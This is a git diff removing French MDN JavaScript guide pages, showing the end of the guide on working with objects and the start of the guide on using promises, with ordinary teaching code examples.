Comme pour les variables JavaScript en général, le nom de l'objet et le nom des propriétés sont sensibles à la casse (une lettre minuscule ne sera pas équivalente à une lettre majuscule). On peut définir une propriété en lui affectant une valeur. Ainsi, si on crée un objet maVoiture et qu'on lui donne les propriétés fabricant, modèle, et année :

- -
var maVoiture = new Object();
-maVoiture.fabricant = "Ford";
-maVoiture.modèle = "Mustang";
-maVoiture.année = 1969;
-
- -

Les propriétés d'un objet qui n'ont pas été affectées auront la valeur {{jsxref("undefined")}} (et non {{jsxref("null")}}).

- -
maVoiture.sansPropriete; // undefined
- -

On peut aussi définir ou accéder à des propriétés JavaScript en utilisant une notation avec les crochets (voir la page sur les accesseurs de propriétés pour plus de détails). Les objets sont parfois appelés « tableaux associatifs ». Cela peut se comprendre car chaque propriété est associée avec une chaîne de caractères qui permet d'y accéder. Ainsi, par exemple, on peut accéder aux propriétés de l'objet maVoiture de la façon suivante :

- -
maVoiture["fabricant"] = "Ford";
-maVoiture["modèle"] = "Mustang";
-maVoiture["année"] = 1969;
-
- -

Le nom d'une propriété d'un objet peut être n'importe quelle chaîne JavaScript valide (ou n'importe quelle valeur qui puisse être convertie en une chaîne de caractères), y compris la chaîne vide. Cependant, n'importe quel nom de propriété qui n'est pas un identifiant valide (par exemple si le nom d'une propriété contient un tiret, un espace ou débute par un chiffre) devra être utilisé avec la notation à crochets. Cette notation s'avère également utile quand les noms des propriétés sont déterminés de façon dynamique (c'est-à-dire qu'on ne sait pas le nom de la propriété avant l'exécution). Par exemple :

- -
// on crée quatre variables avec une même instruction
-var monObj = new Object(),
-    str = "myString",
-    rand = Math.random(),
-    obj = new Object();
-
-monObj.type              = "Syntaxe point";
-monObj["date created"]   = "Chaîne avec un espace";
-monObj[str]              = "Une valeur qui est une chaîne";
-monObj[rand]             = "Nombre aléatoire";
-monObj[obj]              = "Objet";
-monObj[""]               = "Une chaîne vide";
-
-console.log(monObj);
-
- -

On notera que les valeurs utilisées entre les crochets sont automatiquement converties en chaînes de caractères grâce à la méthode toString() sauf si ces valeurs sont des symboles (cf. {{jsxref("Symbol")}}). En effet, les noms des propriétés pour les objets JavaScript peuvent être des chaînes de caractères ou des symboles. Ainsi, dans l'exemple précédent, lorsqu'on ajoute la clé obj sur monObj, le moteur JavaScript appelle la méthode obj.toString() et utilise la chaîne de caractères renvoyée par cette méthode comme nom pour la propriété.

- -

On peut également accéder aux propriétés d'un objet en utilisant une valeur qui est une chaîne de caractères enregistrée dans une variable :

- -
var nomPropriété = "fabricant";
-maVoiture[nomPropriété] = "Ford";
-
-nomPropriété = "modèle";
-maVoiture[nomPropriété] = "Mustang";
-
- -

La notation avec les crochets peut être utilisée dans une boucle for...in afin de parcourir les propriétés énumérables d'un objet. Pour illustrer comment cela fonctionne, on définit la fonction suivante qui affiche les propriétés d'un objet qu'on lui a passé en argument avec le nom associé :

- -
function afficherProps(obj, nomObjet) {
-  var resultat = "";
-  for (var i in obj) {
-    if (obj.hasOwnProperty(i)) {
-        resultat += nomObjet + "." + i + " = " + obj[i] + "\n";
-    }
-  }
-  return resultat;
-}
-
- -

Si on appelle la fonction avec afficherProps(maVoiture, "maVoiture"), cela affichera le contenu suivant dans la console :

- -
maVoiture.fabricant = Ford
-maVoiture.modèle = Mustang
-maVoiture.année = 1969
- -

Parcourir les propriétés d'un objet

- -

À partir d'ECMAScript 5, il existe trois méthodes natives pour lister/parcourir les propriétés d'un objet :

- -
    -
  • Les boucles for...in qui permettent de parcourir l'ensemble des propriétés énumérables d'un objet et de sa chaîne de prototypes.
    • -
  • {{jsxref("Object.keys", "Object.keys(o)")}} qui permet de renvoyer un tableau contenant les noms (clés ou keys) des propriétés propres (celles qui ne sont pas héritées via la chaîne de prototypes) d'un objet o pour les propriétés énumérables.
    • -
  • {{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(o)")}} qui permet de renvoyer un tableau contenant les noms des propriétés propres (énumérables ou non) d'un objet o.
    • -
- -

Avant ECMAScript 5, il n'existait aucune méthode native pour lister l'ensemble des propriétés d'un objet. Cependant, on pouvait utiliser le code suivant pour y parvenir :

- -
function listerToutesLesPropriétés(o){
-  var objectToInspect;
-  var result = [];
-
-  for(objectToInspect = o;
-      objectToInspect !== null;
-      objectToInspect = Object.getPrototypeOf(objectToInspect)){
-    result = result.concat(Object.getOwnPropertyNames(objectToInspect));
-  }
-  return result;
-}
-
- -

Cela peut être utile pour révéler les propriétés « cachées » car leur nom est réutilisé dans la chaîne de prototypes. Pour lister les propriétés accessibles, il suffit de retirer les duplicatas du tableau.

- -

Créer de nouveaux objets

- -

Un environnement JavaScript possède certains objets natifs prédéfinis. En plus de ces objets, il est possible de créer ses propres objets. Pour cela, on peut utiliser un initialisateur d'objet. On peut aussi créer un constructeur puis instancier un objet avec cette fonction en utilisant l'opérateur new.

- -

Utiliser les initialisateurs d'objets

- -

On peut créer des objets avec une fonction qui est un constructeur mais on peut aussi créer des objets avec des initialisateurs d'objets. On appelle parfois cette syntaxe la notation littérale.

- -

La syntaxe utilisée avec les initialisateurs d'objets est la suivante :

- -
var obj = { propriete_1:   valeur_1,   // propriete_# peut être un identifiant
-            2:             valeur_2,   // ou un nombre
-            // ...,
-            "propriete n": valeur_n }; // ou une chaîne
-
- -

où on a obj le nom de l'objet qu'on souhaite créer et chaque propriété_i un identifiant (que ce soit un nom, un nombre ou une chaîne de caractères) et chaque valeur_i une expression dont la valeur sera affectée à la propriété propriété_i. S'il n'est pas nécessaire d'utiliser l'objet obj par la suite, il n'est pas nécessaire de réaliser l'affectation à une variable (attention alors à l'encadrer dans des parenthèses pour que le littéral objet soit bien interprété comme une instruction et non pas comme un bloc.)

- -

Les initialisateurs d'objets sont des expressions et chaque initialisateur entraîne la création d'un nouvel objet dans l'instruction pour laquelle il est exécuté. Des initialisateurs d'objets identiques créeront des objets distincts qui ne seront pas équivalents. Les objets sont créés de la même façon qu'avec new Object(), les objets créés à partir d'une expression littérale seront des instances d'Object.

- -

L'instruction suivante crée un objet et l'affecte à une variable x si et seulement si l'expression cond est vraie :

- -
if (cond) var x = {emplacement: "le monde"};
-
- -

Dans l'exemple suivant, on crée un objet maHonda avec trois propriétés. La propriété moteur est également un objet avec ses propres propriétés.

- -
var maHonda = {couleur: "rouge", roue: 4, moteur: {cylindres: 4, taille: 2.2}};
-
- -

De la même façon, on pourra utiliser des initialisateurs pour créer des tableaux. Pour plus d'informations à ce sujet, voir les littéraux de tableaux.

- -

Utiliser les constructeurs

- -

On peut créer des objets d'une autre façon, en suivant deux étapes :

- -
    -
  1. On définit une fonction qui sera un constructeur définissant le type de l'objet. La convention, pour nommer les constructeurs, est d'utiliser une majuscule comme première lettre pour l'identifiant de la fonction.
    2. -
  2. On crée une instance de l'objet avec new.
    3. -
- -

Pour définir le type d'un objet, on crée une fonction qui définit le nom de ce type et les propriétés et méthodes des instances. Ainsi, si on souhaite créer un type d'objet pour représenter des voitures, on pourra nommer ce type voiture, et il pourra avoir des propriétés pour le fabricant, le modèle et l'année. Pour ce faire, on pourra écrire la fonction suivante :

- -
function Voiture(fabricant, modèle, année) {
-  this.fabricant = fabricant;
-  this.modele = modele;
-  this.annee = annee;
-}
-
- -

On voit ici qu'on utilise le mot-clé this pour affecter des valeurs aux propriétés d'un objet en fonction des valeurs passées en arguments de la fonction.

- -

On peut désormais créer un objet maVoiture de la façon suivante :

- -
var maVoiture = new Voiture("Eagle", "Talon TSi", 1993);
-
- -

Cette instruction crée un objet maVoiture et lui affecte les valeurs fournies pour ses propriétés. On obtient donc maVoiture.fabricant qui sera la chaîne de caractères "Eagle", maVoiture.année qui sera l'entier 1993, et ainsi de suite.

- -

Grâce à ce constructeur, on peut ensuite créer autant d'objets voiture que nécessaire. Par exemple :

- -
var voitureMorgan = new Voiture("Audi", "A3", 2005);
-var voitureMax = new Voiture("Mazda", "Miata", 1990);
-
- -

Un objet peut avoir une propriété qui est elle-même un objet. Ainsi, si on définit un type d'objet personne de cette façon :

- -
function Personne(nom, âge, sexe) {
-  this.nom = nom;
-  this.age = age;
-  this.sexe = sexe;
-}
-
- -

et qu'on instancie deux nouveaux objets personne avec

- -
var max = new Personne("Max Gun", 33, "M");
-var morguy = new Personne("Morgan Sousbrouille", 39, "M");
-
- -

On pourra réécrire la fonction de définition pour le type voiture pour inclure une propriété propriétaire qui est représentée par un objet personne :

- -
function Voiture(fabricant, modèle, année, propriétaire) {
-  this.fabricant = fabricant;
-  this.modele = modele;
-  this.annee = annee;
-  this.propriétaire = propriétaire;
-}
-
- -

Pour instancier des nouveaux objets, on pourra donc utiliser :

- -
var voiture1 = new Voiture("Mazda", "Miata", 1993, max);
-var voiture2 = new Voiture("Audi", "A3", 2005, morguy);
-
- -

On notera que le dernier argument n'est pas une chaîne de caractères ou une valeur numérique mais bien un objet. Les objets max et morguy sont passés en arguments pour représenter les propriétaires. Ainsi, si on veut obtenir le nom du propriétaire pour voiture2, on peut accéder à la propriété de la façon suivante :

- -
voiture2.propriétaire.nom
-
- -

Il est toujours possible d'ajouter une propriété à un objet défini précédemment. Par exemple, on peut ajouter une propriété à l'objet voiture1 avec l'instruction :

- -
voiture1.couleur = "noir";
-
- -

Ici, on ajoute une propriété couleur à voiture1, et on lui affecte une valeur "noir". Cependant, cela n'affecte pas les autres objets voiture. Pour ajouter une nouvelle propriété à tous les objets, il faudra ajouter la propriété au constructeur voiture.

- -

Utiliser la méthode Object.create()

- -

Les objets peuvent également être créés en utilisant la méthode {{jsxref("Object.create()")}}. Cette méthode peut s'avérer très utile car elle permet de choisir le prototype pour l'objet qu'on souhaite créer, sans avoir à définir un constructeur.

- -
// Propriétés pour animal et encapsulation des méthodes
-var Animal = {
-  type: "Invertébrés",        // Valeur par défaut  value of properties
-  afficherType : function() {  // Une méthode pour afficher le type Animal
-    console.log(this.type);
-  }
-}
-
-// On crée un nouveau type d'animal, animal1
-var animal1 = Object.create(Animal);
-animal1.afficherType(); // affichera Invertébrés
-
-// On crée un type d'animal "Poisson"
-var poisson = Object.create(Animal);
-poisson.type = "Poisson";
-poisson.afficherType(); // affichera Poisson
- -

L'héritage

- -

Tous les objets JavaScript héritent d'un autre objet. L'objet dont on hérite est appelé prototype et les propriétés héritées peuvent être accédées via l'objet prototype du constructeur. Pour plus d'informations sur le fonctionnement de l'héritage, voir la page sur l'héritage et la chaîne de prototypes.

- -

Indexer les propriétés d'un objet

- -

Il est possible d'accéder à une propriété via son nom et via son indice (ordinal). Si on définit une propriété grâce à un nom, on accédera toujours à la valeur via le nom. De même, si on définit une propriété grâce à un indice, on y accèdera toujours via son indice.

- -

Cette restriction s'applique lorsqu'on crée un objet et ses propriétés via un constructeur et lorsqu'on déclare les propriétés explicitement (par exemple avec maVoiture.couleur = "rouge"). Si on définit une propriété d'un objet avec maVoiture[5] = "25 kmh", on pourra faire référence à cette propriété grâce à maVoiture[5].

- -

Il existe une exception à cette règle lorsqu'on manipule des objets "semblables à des tableaux" provenant d'API Web telles que l'objet forms. Pour ces objets semblables à des tableaux, on peut accéder à une propriété de l'objet grâce à son nom (si l'attribut {{htmlattrxref("name")}} est utilisé sur l'élément HTML) ou grâce à son index selon l'ordre dans le document. Ainsi, si on souhaite cibler un élément <form> du document possédant un attribut name qui vaut monForm et que cet élément est le deuxième élément du document, on pourra y accéder avec document.forms[1], document.forms["monForm"] ou encore avec document.forms.monForm.

- -

Définir des propriétés pour un type d'objet

- -

On peut ajouter une propriété à un type précédemment défini en utilisant la propriété prototype. Cela permettra de définir une propriété qui sera partagée par tous les objets d'un même type plutôt qu'elle ne soit définie que pour un seul objet. Le code suivant permet d'ajouter une propriété couleur à tous les objets de type voiture. On affecte ensuite une valeur à cette propriété pour l'objet voiture1.

- -
Voiture.prototype.couleur = null;
-voiture1.couleur = "noir";
-
- -

Pour plus d'informations, voir l'article sur la propriété prototype de l'objet Function de la référence JavaScript.

- -

Définir des méthodes

- -

Une méthode est une fonction associée à un objet. Autrement dit, une méthode est une propriété d'un objet qui est une fonction. Les méthodes sont définies comme des fonctions normales et sont affectées à des propriétés d'un objet. Voir la page sur les définitions de méthodes pour plus d'informations. Par exemple :

- -
nomObjet.nomMéthode = nomFonction;
-
-var monObj = {
-  maMéthode: function(params) {
-    // ...faire quelque chose
-  }
-};
-
- -

avec nomObjet qui est un objet existant, nomMéthode est le nom de la propriété à laquelle on souhaite affecter la méthode et nomFonction le nom de la fonction.

- -

On peut ensuite appeler la méthode sur l'objet :

- -
object.nomMéthode(paramètres);
-
- -

On peut définir des méthodes pour un type d'objet en incluant la définition de la méthode dans le constructeur. Par exemple, on peut définir une fonction qui mettrait en forme et qui afficherait les propriétés d'un objet voiture. Par exemple :

- -
function afficheVoiture() {
-  var résultat = "Une " + this.fabricant + " " + this.modèle
-    + " de cette année " + this.année;
-  console.log(résultat);
-}
-
- -

On peut ensuite ajouter cette fonction comme méthode dans le constructeur avec cette instruction :

- -
this.afficheVoiture = afficheVoiture;
-
- -

La définition complète serait donc :

- -
function Voiture(fabricant, modèle, année, propriétaire) {
-  this.fabricant = fabricant;
-  this.modèle = modèle;
-  this.année = année;
-  this.propriétaire = propriétaire;
-  this.afficheVoiture = afficheVoiture;
-}
-
- -

On pourra donc ensuite appeler la méthode afficheVoiture pour chaque objet de ce type :

- -
voiture1.afficheVoiture();
-voiture2.afficheVoiture();
-
- -

Utiliser this

- -

JavaScript possède un mot-clé spécial this, qui peut être utiliser à l'intérieur d'une méthode pour faire référence à l'objet courant. Par exemple, si on a une fonction valider qui permet de valider la propriété valeur d'un objet en fonction d'un seuil minimum et d'un seuil maximum :

- -
function valider(obj, seuilMin, seuilMax) {
-  if ((obj.value < seuilMin) || (obj.value > seuilMax))
-    console.log("Valeur invalide !");
-}
-
- -

Cette fonction pourrait ensuite être appelée via le gestionnaire d'événement onchange pour les éléments d'un formulaire et la valeur pour l'élément du formulaire serait passée en argument :

- -
<input type="text" name="âge" size="3"
-  onchange="valider(this, 18, 99)">
- -

En général, this fait référence à l'objet appelant de la méthode.

- -

Définir des accesseurs et des mutateurs (getters et setters)

- -

Un accesseur (getter) est une méthode qui permet de récupérer la valeur d'une propriété donnée. Un mutateur (setter) est une méthode qui permet de définir la valeur d'une propriété donnée. Il est possible de définir des accesseurs et des mutateurs sur chaque objet (qu'il soit natif ou défini par l'utilisateur) qui supporte l'ajout de nouvelles propriétés. La syntaxe pour définir les accesseurs et mutateurs utilise les littéraux objets.

- -

Dans l'exemple suivant, on ajoute des accesseurs et mutateurs à un objet existant o.

- -
var o = {
-  a: 7,
-  get b() {
-    return this.a + 1;
-  },
-  set c(x) {
-    this.a = x / 2
-  }
-};
-
-console.log(o.a); // 7
-console.log(o.b); // 8
-o.c = 50;
-console.log(o.a); // 25
-
- -

Les propriétés de l'objet o sont :

- -
    -
  • o.a — un nombre
    • -
  • o.b — un accesseur qui renvoie la valeur de o.a plus 1
    • -
  • o.c — un mutateur qui définit la valeur de o.a avec la moitié de la valeur passée pour o.c
    • -
- -

Pour utiliser une fonction déjà existante et la définir comme accesseur ou mutateur d'un objet, on pourra utiliser la méthode Object.defineProperty() (ou l'ancienne méthode Object.prototype.__defineGetter__).

- -

Le code suivant illustre comment étendre le prototype {{jsxref("Date")}} avec des accesseurs et mutateurs afin d'ajouter une propriété année pour toutes les instances du type Date. Pour cela, on utilise les méthodes de Date getFullYear et setFullYear :

- -
var d = Date.prototype;
-Object.defineProperty(d, "année", {
-  get: function() { return this.getFullYear() },
-  set: function(y) { this.setFullYear(y) }
-});
-
- -

Ces instructions utilisent l'accesseur et le mutateur pour un objet Date :

- -
var ajd = new Date();
-console.log(ajd.année); // 2000
-ajd.année = 2001; // 987617605170
-console.log(ajd);
-// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
-
- -

En général, les accesseurs et mutateurs peuvent être :

- -
    -
  • définis en utilisant les initialisateurs d'objet
    • -
  • ajoutés par la suite avec une méthode pour ajouter un mutateur ou un accesseur.
    • -
- -

Lorsqu'on définit des accesseurs et des mutateurs avec des littéraux objets, il suffit de préfixer un accesseur par get et un mutateur par set. Bien entendu, la méthode pour l'accesseur nécessite aucun paramètre et le mutateur attend exactement un paramètre (la nouvelle valeur à définir). Par exemple :

- -
var o = {
-  a: 7,
-  get b() { return this.a + 1; },
-  set c(x) { this.a = x / 2; }
-};
-
- -

On peut aussi ajouter des accesseurs et des mutateurs par la suite (après la création de l'objet) avec la méthode Object.defineProperties. Le premier argument de cette méthode est l'objet sur lequel on souhaite ajouter des propriétés. Le second argument est un objet qui représente les propriétés à ajouter (ici les mutateurs et accesseurs). Voici un exemple pour lequel on définit les mêmes accesseurs et mutateurs que précédemment :

- -
var o = { a:0 }
-
-Object.defineProperties(o, {
-    "b": { get: function () { return this.a + 1; } },
-    "c": { set: function (x) { this.a = x / 2; } }
-});
-
-o.c = 10 // Lance le mutateur qui affecte 10 / 2 (5) à 'a'
-console.log(o.b) // Lance l'accesseur qui affiche a + 1 donc 6
-
- -

Selon le résultat qu'on souhaite obtenir, on utilisera l'une des deux formes. Si on connait bien la structure de l'objet lorsqu'on le définit, on les ajoutera au constructeur. Si on utilise des éléments dynamiques et que la structure de l'objet évolue, on utilisera la deuxième façon.

- -

Supprimer des propriétés

- -

Il est possible de retirer des propriétés propres (celles qui ne sont pas héritées) grâce à l'opérateur delete. Le code suivant montre comment retirer une propriété :

- -
// On crée un nouvel objet, monObj, avec deux propriétés a et b.
-var monObj = new Object;
-monObj.a = 5;
-monObj.b = 12;
-
-// On retire la propriété a, monObj a donc uniquement la propriété b
-delete monObj.a;
-console.log("a" in monObj) // produit "false"
-
- -

Il est aussi possible de supprimer une propriété de l'objet global avec delete si le mot-clé var n'avait pas été utilisé :

- -
g = 17;
-delete g;
-
- -

Comparer des objets

- -

En JavaScript, les objets fonctionnent par référence. Deux objets distincts ne sont jamais égaux, même s'ils ont les mêmes valeurs pour les mêmes propriétés. On aura une équivalence uniquement si on compare un objet avec lui-même.

- -
// Deux variables avec deux objets distincts qui ont les mêmes propriétés
-var fruit = {nom: "pomme"};
-var fruit2 = {nom: "pomme"};
-
-fruit == fruit2  // return false
-fruit === fruit2 // return false
- -
// Deux variables avec un même objet
-var fruit = {nom: "pomme"};
-var fruit2 = fruit;  // On affecte la même référence
-
-// dans ce cas fruit et fruit2 pointent vers le même objet
-fruit == fruit2  // return true
-fruit === fruit2 // return true
-
-fruit.nom = "raisin";
-console.log(fruit2); // affiche {nom: "raisin"} et non {nom: "pomme"}
-
- -

Pour plus d'informations sur les opérateurs de comparaisons, voir cet article.

- -

Voir aussi

- - - -

{{PreviousNext("Web/JavaScript/Guide/Collections_avec_clés", "Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails")}}

diff --git a/files/fr/web/javascript/guide/utiliser_les_promesses/index.html b/files/fr/web/javascript/guide/utiliser_les_promesses/index.html deleted file mode 100644 index 2198201957..0000000000 --- a/files/fr/web/javascript/guide/utiliser_les_promesses/index.html +++ /dev/null @@ -1,314 +0,0 @@ ---- -title: Utiliser les promesses -slug: Web/JavaScript/Guide/Utiliser_les_promesses -tags: - - Guide - - Intermédiaire - - JavaScript - - Promesses - - Promise -translation_of: Web/JavaScript/Guide/Using_promises ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails", "Web/JavaScript/Guide/iterateurs_et_generateurs")}}
- -

Une promesse est un objet ({{jsxref("Promise")}}) qui représente la complétion ou l'échec d'une opération asynchrone. La plupart du temps, on « consomme » des promesses et c'est donc ce que nous verrons dans la première partie de ce guide pour ensuite expliquer comment les créer.

- -

En résumé, une promesse est un objet qui est renvoyé et auquel on attache des callbacks plutôt que de passer des callbacks à une fonction. Ainsi, au lieu d'avoir une fonction qui prend deux callbacks en arguments :

- -
function faireQqcALAncienne(successCallback, failureCallback){
-  console.log("C'est fait");
-  // réussir une fois sur deux
-  if (Math.random() > .5) {
-    successCallback("Réussite");
-  } else {
-    failureCallback("Échec");
-  }
-}
-
-function successCallback(résultat) {
-  console.log("L'opération a réussi avec le message : " + résultat);
-}
-
-
-function failureCallback(erreur) {
-  console.error("L'opération a échoué avec le message : " + erreur);
-}
-
-faireQqcALAncienne(successCallback, failureCallback);
-
-
- -

On aura une fonction qui renvoie une promesse et on attachera les callbacks sur cette promesse :

- -
function faireQqc() {
-  return new Promise((successCallback, failureCallback) => {
-    console.log("C'est fait");
-    // réussir une fois sur deux
-    if (Math.random() > .5) {
-      successCallback("Réussite");
-    } else {
-      failureCallback("Échec");
-    }
-  })
-}
-
-const promise = faireQqc();
-promise.then(successCallback, failureCallback);
-
- -

ou encore :

- -
faireQqc().then(successCallback, failureCallback);
-
- -

Cette dernière forme est ce qu'on appelle un appel de fonction asynchrone. Cette convention possède différents avantages dont le premier est le chaînage.

- -

Garanties

- -

À la différence des imbrications de callbacks, une promesse apporte certaines garanties :

- -
    -
  • Les callbacks ne seront jamais appelés avant la fin du parcours de la boucle d'évènements JavaScript courante
    • -
  • Les callbacks ajoutés grâce à then seront appelés, y compris après le succès ou l'échec de l'opération asynchrone
    • -
  • Plusieurs callbacks peuvent être ajoutés en appelant then plusieurs fois, ils seront alors exécutés l'un après l'autre selon l'ordre dans lequel ils ont été insérés.
    • -
- -

Chaînage des promesses

- -

Un besoin fréquent est d'exécuter deux ou plus d'opérations asynchrones les unes à la suite des autres, avec chaque opération qui démarre lorsque la précédente a réussi et en utilisant le résultat de l'étape précédente. Ceci peut être réalisé en créant une chaîne de promesses.

- -

La méthode then() renvoie une nouvelle promesse, différente de la première :

- -
const promise = faireQqc();
-const promise2 = promise.then(successCallback, failureCallback);
-
- -

ou encore :

- -
const promise2 = faireQqc().then(successCallback, failureCallback);
-
- -

La deuxième promesse (promise2) indique l'état de complétion, pas uniquement pour faireQqc() mais aussi pour le callback qui lui a été passé (successCallback ou failureCallback) qui peut aussi être une fonction asynchrone qui renvoie une promesse. Lorsque c'est le cas, tous les callbacks ajoutés à promise2 forment une file derrière la promesse renvoyée par successCallback ou failureCallback.

- -

Autrement dit, chaque promesse représente l'état de complétion d'une étape asynchrone au sein de cette succession d'étapes.

- -

Auparavant, l'enchaînement de plusieurs opérations asynchrones déclenchait une pyramide dantesque de callbacks :

- -
faireQqc(function(result) {
-  faireAutreChose(result, function(newResult) {
-    faireUnTroisiemeTruc(newResult, function(finalResult) {
-      console.log('Résultat final :' + finalResult);
-    }, failureCallback);
-  }, failureCallback);
-}, failureCallback);
-
- -

Grâce à des fonctions plus modernes et aux promesses, on attache les callbacks aux promesses qui sont renvoyées. On peut ainsi construire une chaîne de promesses :

- -
faireQqc().then(function(result) {
-  return faireAutreChose(result);
-})
-.then(function(newResult) {
-  return faireUnTroisiemeTruc(newResult);
-})
-.then(function(finalResult) {
-  console.log('Résultat final : ' + finalResult);
-})
-.catch(failureCallback);
-
- -

Les arguments passés à then sont optionnels. La forme catch(failureCallback) est un alias plus court pour then(null, failureCallback). Ces chaînes de promesses sont parfois construites avec des fonctions fléchées :

- -
faireQqc()
-.then(result => faireAutreChose(result))
-.then(newResult => faireUnTroisiemeTruc(newResult))
-.then(finalResult => {
-  console.log('Résultat final : ' + finalResult);
-})
-.catch(failureCallback);
-
- -
-

Important : cela implique que les fonctions asynchrones renvoient toutes des promesses, sinon les callbacks ne pourront être chaînés et les erreurs ne seront pas interceptées (les fonctions fléchées ont une valeur de retour implicite si les accolades ne sont pas utilisées : () => x est synonyme de () => { return x; }).

-
- -

Chaînage après un catch

- -

Il est possible de chaîner de nouvelles actions après un rejet, c'est-à-dire un catch. C'est utile pour accomplir de nouvelles actions après qu'une action ait échoué dans la chaine. Par exemple :

- -
new Promise((resolve, reject) => {
-    console.log('Initial');
-
-    resolve();
-})
-.then(() => {
-    throw new Error('Something failed');
-
-    console.log('Do this');
-})
-.catch(() => {
-    console.error('Do that');
-})
-.then(() => {
-    console.log('Do this whatever happened before');
-});
-
- -

Cela va produire la sortie suivante :

- -
Initial
-Do that
-Do this whatever happened before
-
- -

Notez que le texte Do this n'est pas affiché car l'erreur Something failed a produit un rejet.

- -

Propagation des erreurs

- -

Dans les exemples précédents, failureCallback était présent trois fois dans la pyramide de callbacks et une seule fois, à la fin, dans la chaîne des promesses :

- -
faireQqc()
-.then(result => faireAutreChose(result))
-.then(newResult => faireUnTroisiemeTruc(newResult))
-.then(finalResult => console.log('Résultat final : ' + finalResult))
-.catch(failureCallback);
-
- -

En fait, dès qu'une exception est levée, la chaîne de promesses utilisera le premier catch() ou onRejected disponible. Ce fonctionnement est assez proche de ce qu'on peut trouver pour du code synchrone :

- -
try {
-  const result = syncFaireQqc();
-  const newResult = syncFaireQqcAutre(result);
-  const finalResult = syncFaireUnTroisiemeTruc(newResult);
-  console.log('Résultat final : ' + finalResult);
-} catch(error) {
-  failureCallback(error);
-}
-
- -

Cette symétrie entre le code asynchrone et le code synchrone atteint son paroxysme avec le couple d'opérateurs async/await d'ECMAScript 2017:

- -
async function toto() {
-  try {
-    const result = await faireQqc();
-    const newResult = await faireQqcAutre(result);
-    const finalResult = await faireUnTroisiemeTruc(newResult);
-    console.log('Résultat final : ' + finalResult);
-  } catch(error) {
-    failureCallback(error);
-  }
-}
-
- -

Ce fonctionnement est construit sur les promesses et faireQqc() est la même fonction que celle utilisée dans les exemples précédents.

- -

Les promesses permettent de résoudre les problèmes de cascades infernales de callbacks notamment en interceptant les différentes erreurs (exceptions et erreurs de programmation). Ceci est essentiel pour obtenir une composition fonctionnelle des opérations asynchrones.

- -

Évènements liés à la rupture d'une promesse

- -

Lorsqu'une promesse est rompue/rejetée, un des deux évènements suivants est envoyé au niveau de la portée globale ({{domxref("window")}} ou {{domxref("Worker")}} si le script est utilisé dans un worker) :

- -
-
{{domxref("Window.rejectionhandled_event","rejectionhandled")}}
-
Cet évènement est envoyé lorsqu'une promesse est rompue et après que le rejet ai été traité par la fonction reject associée à la promesse.
-
{{domxref("Window.unhandledrejection_event","unhandledrejection")}}
-
Cet évènement est envoyé lorsque la promesse est rompue et qu'aucune fonction n'a été définie pour gérer le rejet de la promesse.
-
- -

Dans les deux cas, l'évènement (dont le type est {{domxref("PromiseRejectionEvent")}}) aura deux propriétés :

- -
-
{{domxref("PromiseRejectionEvent.promise","promise")}}
-
La promesse qui a été rompue.
-
{{domxref("PromiseRejectionEvent.reason","reason")}}
-
La raison pour laquelle la promesse a été rompue.
-
- -

Gérer ces évènements permet d'avoir une ultime méthode pour gérer le rejet des promesses. Cela peut notamment s'avérer utile pour le débogage. Ces évènements sont déclenchés au niveau global et permettent ainsi d'intercepter les erreurs pour chaque contexte (fenêtre ou worker)

- -
window.addEventListener("unhandledrejection", event => {
-  // Examiner la ou les promesse(s) qui posent problème en debug
-  // Nettoyer ce qui doit l'être quand ça se produit en réel
-
-}, false);
- -

Envelopper les callbacks des API

- -

Il est possible de créer un objet  {{jsxref("Promise")}} grâce à son constructeur. Et même si, idéalement, cela ne devrait pas être nécessaire, certaines API fonctionnent toujours avec des callbacks passés en arguments. C'est notamment le cas de la méthode  {{domxref("WindowTimers.setTimeout", "setTimeout()")}} :

- -
setTimeout(() => saySomething("10 seconds passed"), 10 * 1000);
-
- -

Si on mélange des callbacks et des promesses, cela sera problématique. Si  saySomething échoue ou contient des erreurs, rien n'interceptera l'erreur.

- -

Pour ces fonctions, la meilleure pratique consiste à les envelopper dans des promesses au plus bas niveau possible et de ne plus les appeler directement :

- -
const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
-
-wait(10 * 1000).then(() => saySomething("10 seconds")).catch(failureCallback);
-
- -

Le constructeur Promise prend en argument une fonction et nous permet de la convertir manuellement en une promesse. Ici, vu que setTimeout n'échoue pas vraiment, on laisse de côté la gestion de l'échec.

- -

Composition

- -

{{jsxref("Promise.resolve()")}} et {{jsxref("Promise.reject()")}} sont des méthodes qui permettent de créer des promesses déjà tenues ou rompues.

- -

{{jsxref("Promise.all()")}} et {{jsxref("Promise.race()")}} sont deux outils de composition qui permettent de mener des opérations asynchrones en parallèle.

- -

On peut lancer des opérations en parallèles et attendre qu'elles soient toutes finies de cette façon :

- -
Promise.all([func1(), func2(), func3()])
-.then(([resultat1, resultat2, resultat3]) => { /* où on utilise resultat1/2/3 */ });
- -

Il est possible de construire une composition séquentielle de la façon suivante :

- -
[func1, func2].reduce((p, f) => p.then(f), Promise.resolve());
-
- -

Dans ce fragment de code, on réduit un tableau de fonctions asynchrones en une chaîne de promesse équivalente à : Promise.resolve().then(func1).then(func2);

- -

On peut également accomplir cela avec une fonction de composition réutilisable  :

- -
const applyAsync = (acc, val) => acc.then(val);
-const composeAsync = (...funcs) => x => funcs.reduce(applyAsync, Promise.resolve(x));
- -

La fonction composeAsync accepte autant de fonctions que nécessaire comme arguments et renvoie une nouvelle fonction qui prend une valeur initiale pour la passer à travers ces étapes de compositions. Cette façon de faire garantit que les fonctions, qu'elles soient synchrones ou asynchrones, sont exécutées dans le bon ordre :

- -
const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
-transformData(data);
- -

Avec ECMAScript 2017, on peut obtenir une composition séquentielle plus simplement avec les opérateurs await/async :

- -
let result;
-for(const f of [func1, func2, func3]) {
-  result = await f(result);
-}
- -

Gestion du temps

- -

Pour éviter de mauvaises surprises, les fonctions passées à then() ne seront jamais appelées de façon synchrone, y compris lorsqu'il s'agit d'une promesse déjà résolue :

- -
Promise.resolve().then(() => console.log(2));
-console.log(1); // 1, 2
-
- -

En fait, la fonction passée à then() est placée dans une file de micro-tâches qui sont exécutées lorsque cette file est vidée à la fin de la boucle d'évènements JavaScript :

- -
var wait = ms => new Promise(resolve => setTimeout(resolve, ms));
-
-wait().then(() => console.log(4));
